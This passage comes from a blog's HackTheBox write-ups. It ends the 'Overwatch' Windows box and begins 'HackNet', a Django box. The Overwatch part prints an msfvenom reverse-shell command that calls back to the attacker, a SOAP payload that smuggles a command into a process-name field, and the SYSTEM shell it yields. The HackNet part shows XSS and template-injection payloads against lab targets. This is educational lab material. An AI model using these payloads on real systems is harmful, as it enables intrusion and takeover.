}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=8001 -f exe -o shell.exe</span>
<span class="cmd-output">
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Then I’ll upload it with <code class="language-plaintext highlighter-rouge">evil-winrm</code> and trigger its execution via another SOAP payload:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;soap:Envelope</span> <span class="na">xmlns:soap=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span> <span class="na">xmlns:ns=</span><span class="s">"http://tempuri.org/"</span> <span class="na">encodingStyle=</span><span class="s">"http://schemas.xmlsoap.org/soap/encoding/"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;soap:Header&gt;</span>
    <span class="nt">&lt;Action&gt;</span>http://tempuri.org/IMonitoringService/KillProcess<span class="nt">&lt;/Action&gt;</span>
  <span class="nt">&lt;/soap:Header&gt;</span>
  <span class="nt">&lt;soap:Body&gt;</span>
    <span class="nt">&lt;ns:KillProcess&gt;</span>
      <span class="nt">&lt;ns:processName&gt;</span>asdf; c:\users\sqlmgmt\desktop\shell.exe;<span class="nt">&lt;/ns:processName&gt;</span>
    <span class="nt">&lt;/ns:KillProcess&gt;</span>
  <span class="nt">&lt;/soap:Body&gt;</span>
<span class="nt">&lt;/soap:Envelope&gt;</span>
</code></pre></div></div>
<p><br /></p>

<p>It threw an error again when I send the payload, but a SYSTEM shell was sent back.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.225.53] 54498
Microsoft Windows [Version 10.0.20348.4648]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Software\Monitoring</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">nt authority\system</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">S200401</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Administrator\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type root.txt</span>

<span class="win-output">6b2f1cac************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Windows" /><category term="Medium" /><summary type="html"><![CDATA[Overwatch is pretty straightforward and evolves around attacking a simple .NET monitoring application. It starts with finding a .NET binary in an open SMB share, decompiling it gives credentials to access MSSQL. There’s a linked server configured but it points to a non-existing host, I’ll perform ADIDNS poisoning to capture another set of credentials, which can be used to get a shell via WinRM. From here, I’ll discover the monitoring app running locally with admin privileges, and identify from the decompiled source code that it’s vulnerable to OS command injection.]]></summary></entry><entry><title type="html">HTB Machine - HackNet</title><link href="https://ch3ng625.github.io//hacknet" rel="alternate" type="text/html" title="HTB Machine - HackNet" /><published>2026-01-18T00:00:00+00:00</published><updated>2026-01-18T00:00:00+00:00</updated><id>https://ch3ng625.github.io//hacknet</id><content type="html" xml:base="https://ch3ng625.github.io//hacknet"><![CDATA[<h2 id="summary">Summary:</h2>
<p>HackNet is all about exploiting a Django application. It starts with a server-side template injection in the username. While getting RCE directly is not possible, it does allow leaking internal context variables, which includes credentials that can be reused for SSH login. Once on the box, I’ll find the Django cache directory is world-writable, which enables a deserialization attack to get to another user. From there, I’ll find private keys to decrypt several GPG-encrypted database dumps, one of which contains the root password.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.232.4</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-24 03:54 ACDT
Nmap scan report for 10.129.232.4
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 78.61 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 22,80 10.129.232.4</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-24 03:57 ACDT
Nmap scan report for 10.129.232.4
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   140.70 ms 10.10.14.1
2   140.47 ms 10.129.232.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.16 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Only SSH and HTTP are open. The <code class="language-plaintext highlighter-rouge">nmap</code> scan didn’t find too much information.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">curl http://10.129.232.4 -I</span>
<span class="cmd-output">
HTTP/1.1 301 Moved Permanently
Server: nginx/1.22.1
Date: Tue, 23 Dec 2025 17:35:56 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://hacknet.htb/
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The web server is also redirecting to <code class="language-plaintext highlighter-rouge">hacknet.htb</code>, I’ll add it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>

<h3 id="tcp80---http">TCP80 - HTTP:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_homepage.png" alt="" /></p>

<p>The site is a hacker forum. <a href="https://www.wappalyzer.com/">Wappalyzer</a> detected it’s a Django app.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_wappalyzer.png" alt="" /></p>

<p>I’ll register an account. On login, it shows my own profile.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_profile.png" alt="" /></p>

<p>I can submit new posts, which will appear on my profile afterwards.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_newpost.png" alt="" /></p>

<p>I can also edit my profile, which includes an option to upload a profile picture.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_edit_profile.png" alt="" /></p>

<p>I’ll upload an image for testing. Based on the response, it’s stored in <code class="language-plaintext highlighter-rouge">/media/test.png</code>.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_edit_response.png" alt="" /></p>

<p>Uploading anything other than PNG and JPG would fail. Since it’s a Django app, this is probably a dead end even if the upload validation can be bypassed. It’s not like PHP where I can drop web shells directly for code execution.</p>

<p>The username can also be changed. Interestingly it allows all sorts of special characters.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_username_special_chars.png" alt="" /></p>

<p>This could potentially lead to XSS if the username is reflected in a page response somewhere with insufficient escaping/input sanitization.</p>

<p>There’s also a contacts tab, but nothing’s shown since I don’t have any.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_contacts.png" alt="" /></p>

<p>Similar for messages.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_messages.png" alt="" /></p>

<h3 id="search">Search:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_search.png" alt="" /></p>

<p>The search tab lists all users on the forum, top of the list is my account. I’ll checked several other users. Some are private:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_private_profile.png" alt="" /></p>

<p>While some are public:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_public_profile.png" alt="" /></p>

<p>I can add them by clicking “Request contact”. On click, it changes to “Requested”.</p>

<p>There’s a messaging function as well.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_message_textbox.png" alt="" /></p>

<p>A success message is shown after sending.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_message_success.png" alt="" /></p>

<p>Out of curiosity, I created a second account and tried adding each other and sending messages between them, but nothing happened. I doubt the functionality is implemented at all.</p>

<h3 id="explore">Explore:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_explore.png" alt="" /></p>

<p>The Explore tab lists all posts users made, including the one I’ve created earlier. The posts are mainly about various hacks and vulnerabilities, but doesn’t seem related to the site itself.</p>

<p>I tried commenting, but it didn’t allow me to.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_comment_fail.png" alt="" /></p>

<p>I can like posts however. Clicking “likes” also shows the users who liked the post.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_liked.png" alt="" /></p>

<p>Hovering over the profile pic shows its username.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_hover_username.png" alt="" /></p>

<p>When hovering over mine:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_hover_cutoff.png" alt="" /></p>

<p>My username doesn’t fully render. The raw response gives a clearer picture.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_hover_burp.png" alt="" /></p>

<p>That’s XSS!</p>

<p>I’ll set my username as <code class="language-plaintext highlighter-rouge">asdf" onload="alert(1)</code>. When checking the likes again:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_xss.png" alt="" /></p>

<p>XSS on its own isn’t really useful unless someone is actively viewing the liked list, so I did some more testing with various payloads. The app seems to be also vulnerable to server-side template injection. I’ll set my username as `` and check the likes again, it resulted in an error:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/web_ssti_error.png" alt="" /></p>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="server-side-template-injection">Server-Side Template Injection:</h3>

<p>Templates are great for generating dynamic content in web applications, allowing the use of placeholders that get populated by actual data at runtime. It becomes an issue when unsanitized user input are treated as part of the template and thus evaluated, which could lead to several server-side exploits attacks or even RCE. <a href="https://portswigger.net/research/server-side-template-injection">This Postswigger page</a> gives several examples of such attacks.</p>

<p>A classic test payload is <code class="language-plaintext highlighter-rouge">{{7*7}}</code>, which would render as <code class="language-plaintext highlighter-rouge">49</code> in a vulnerable app. In this case however, it resulted in an error. This is because the Django Template Engine, unlike Jinja2, is much more restrictive. It doesn’t evaluate Python expressions or allow calling object functions, which means code execution is probably not directly achievable here (ref: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md#django">PayloadAllTheThings</a>).</p>

<p>Instead I can try leaking context variables, which may contain sensitive information. One example is the <code class="language-plaintext highlighter-rouge">request</code> variable, which almost always exists in Python web applications. I’ll set my username as <code class="language-plaintext highlighter-rouge">{{request}}</code>, when triggering the SSTI, it returned the request URL rather than erroring out.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/ssti_request.png" alt="" /></p>

<p>I can’t find a way to list all variables, so I started guessing with keywords. Most of them either resulted in nothing happening or an error, but several ones did return some data.</p>

